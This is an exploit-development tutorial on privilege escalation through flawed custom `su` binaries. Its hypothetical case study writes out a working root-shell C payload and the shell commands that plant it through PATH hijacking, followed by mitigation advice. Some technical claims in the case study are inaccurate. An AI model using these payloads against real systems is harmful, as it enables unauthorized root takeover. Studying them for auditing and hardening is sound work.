Introduction: The Critical Role of `su` in Privilege Escalation

The `su` (substitute user) command is a cornerstone of Unix-like operating systems, allowing users to execute commands with the privileges of another user, most commonly the root user. Its fundamental role in system administration also makes it a prime target for privilege escalation attacks. While standard `su` implementations are rigorously vetted, custom or modified `su` binaries, especially those found in embedded systems, Android custom ROMs, or specialized Linux distributions, often introduce subtle vulnerabilities that can lead to CVEs and full system compromise. This article delves into the advanced techniques for identifying and leveraging such flaws in `su` binary permission escalation exploits.

Understanding the `su` Binary and SUID Bit

At its core, `su`’s power stems from the SUID (Set User ID) bit. When a program has the SUID bit set and is owned by root, it executes with root’s privileges, regardless of which user invoked it. This mechanism is essential for `su` to change the effective user ID of the calling process. However, this also means any flaw in `su`’s execution path or logic can be exploited to run arbitrary code with root privileges.

Common Vulnerability Classes in `su` Implementations

Vulnerabilities in `su` binaries typically fall into several categories:

• Path Hijacking: If `su` searches for external programs (like `login` or `bash`) without using absolute paths and manipulates the PATH environment variable incorrectly, an attacker can inject a malicious executable into a directory searched before the legitimate one.
• Environment Variable Abuse: `su` often attempts to clean or sanitize the environment variables. Flaws in this sanitization process can allow an attacker to pass dangerous variables (e.g., `LD_PRELOAD`, `GCONV_PATH`) that can hijack library loading or command execution.
• Improper Argument Parsing: Bugs in how `su` parses its command-line arguments can lead to buffer overflows, format string bugs, or unexpected behavior that can be leveraged for exploitation.
• Race Conditions: If `su` performs file operations or permission checks in a non-atomic manner, an attacker might win a race condition to manipulate files or symlinks before `su` can verify them, leading to privilege escalation.
• Buffer Overflows/Integer Overflows: Standard memory corruption vulnerabilities can occur if `su` handles user-supplied input without proper bounds checking.

Methodology for Identifying `su` CVEs

Identifying vulnerabilities requires a blend of static analysis, dynamic testing, and sometimes reverse engineering.

Static and Dynamic Binary Analysis

Start by acquiring the target `su` binary. Tools like `readelf`, `objdump`, and `strings` can reveal crucial information:

$ readelf -a /system/bin/su | grep 'NEEDED|RUNPATH|RPATH'

This helps identify linked libraries and potential dynamic linker issues. For deeper static analysis, disassemblers like IDA Pro or Ghidra are indispensable. Look for common security pitfalls:

• Calls to `execve`, `system`, or `popen` with user-controlled arguments.
• Usage of `getenv` or `setenv` without proper validation, especially for sensitive environment variables.
• Non-absolute paths in `exec` family calls.
• Memory allocation functions (`malloc`, `memcpy`, `strcpy`) that could be prone to overflows.

Dynamic analysis involves fuzzing the `su` binary with various inputs and environment variables, monitoring for crashes or unusual behavior. Tools like AFL++ (American Fuzzy Lop) can be adapted for this purpose.

Source Code Auditing (if available)

If the source code is available (e.g., AOSP or open-source custom `su` projects), a manual code audit is the most effective method. Focus on:

• All user input handling.
• Environment variable sanitization logic.
• Path construction and resolution.
• Error handling.
• Privilege dropping/re-gaining sequences.

Look for discrepancies between the intended security model and the actual implementation.

Case Study: Exploiting a Path Vulnerability in a Custom `su` Implementation

Let’s consider a hypothetical `su` variant, `custom_su`, that, due to an oversight, does not fully sanitize the `PATH` environment variable before executing a child process. Specifically, it attempts to execute `/bin/sh` directly if no command is specified, but before doing so, it tries to locate a helper script, `su_helper.sh`, by searching the `PATH`.

Scenario Setup

An unprivileged user wants to elevate privileges. The `custom_su` binary is SUID root:

$ ls -l /usr/local/bin/custom_su-rwsr-xr-x 1 root root 45K Jan 1 2000 /usr/local/bin/custom_su

Identifying the Weakness

Through static analysis (or simple `strace`), we observe `custom_su` making a call like `access(“su_helper.sh”, F_OK)` before its final `execve(“/bin/sh”, …)`. This suggests a path-dependent lookup.

$ strace -f /usr/local/bin/custom_su ...access("su_helper.sh", F_OK) = -1 ENOENT (No such file or directory)...

Crucially, `custom_su` doesn’t fully reset `PATH` to a safe default. It might only append `/bin` and `/usr/bin` *after* checking for `su_helper.sh` or incorrectly merge user-supplied `PATH` segments.

Crafting the Exploit

We can create a malicious `su_helper.sh` and place it in a directory we control. Then, we prepend this directory to our `PATH` environment variable before executing `custom_su`.

First, create our malicious payload. Let’s make a C program that executes `/bin/sh` with root privileges and compiles it to `su_helper`:

// su_helper.c#include <stdio.h>#include <stdlib.h>#include <unistd.h>int main() {    setuid(0); // Set effective user ID to root    setgid(0); // Set effective group ID to root    execl("/bin/sh", "sh", NULL); // Execute a root shell    perror("execl"); // In case execl fails    return 1;}

$ gcc su_helper.c -o /tmp/evil_path/su_helper

Now, we create a wrapper script named `su_helper.sh` which, when executed, will run our compiled `su_helper` binary:

$ mkdir /tmp/evil_path$ echo '#!/bin/sh' > /tmp/evil_path/su_helper.sh$ echo '/tmp/evil_path/su_helper' >> /tmp/evil_path/su_helper.sh$ chmod +x /tmp/evil_path/su_helper.sh

Achieving Root

Finally, we manipulate the `PATH` and execute `custom_su`:

$ export PATH="/tmp/evil_path:$PATH"$ /usr/local/bin/custom_su

If the exploit is successful, `custom_su` will find and execute `/tmp/evil_path/su_helper.sh`, which in turn executes our SUID-setting binary, granting us a root shell:

# whoamiroot

This demonstrates how a seemingly minor path resolution flaw, combined with an incorrectly sanitized environment, can lead to full privilege escalation.

Advanced Exploitation Techniques and Post-Exploitation

Beyond simple root shells, identified vulnerabilities can be leveraged for persistence, data exfiltration, or system-wide backdoors. Techniques might involve injecting malicious libraries, modifying system files (`/etc/passwd`, SUID binaries), or establishing persistent remote access mechanisms.

Mitigation and Secure Development Practices

Preventing such exploits requires rigorous security practices:

• Principle of Least Privilege: `su` should only run with necessary privileges and drop them as soon as possible.
• Absolute Paths: Always use absolute paths for executing critical binaries.
• Environment Sanitization: Aggressively clear and set a secure `PATH` and other sensitive environment variables (`LD_PRELOAD`, `IFS`, `GCONV_PATH`).
• Input Validation: All user-supplied input (arguments, environment variables) must be strictly validated.
• Atomic Operations: Use atomic file operations to prevent race conditions.
• Memory Safety: Employ modern C/C++ practices or safer languages to avoid memory corruption vulnerabilities.
• Regular Audits: Perform security audits and penetration testing on custom `su` implementations.

Conclusion

The `su` binary remains a critical component in privilege management, and its security is paramount. Advanced exploit development, centered around identifying CVEs in non-standard `su` implementations, requires deep understanding of binary analysis, system internals, and common vulnerability patterns. By understanding these exploitation techniques, system administrators and developers can better secure their systems against privilege escalation attacks and ensure robust root management.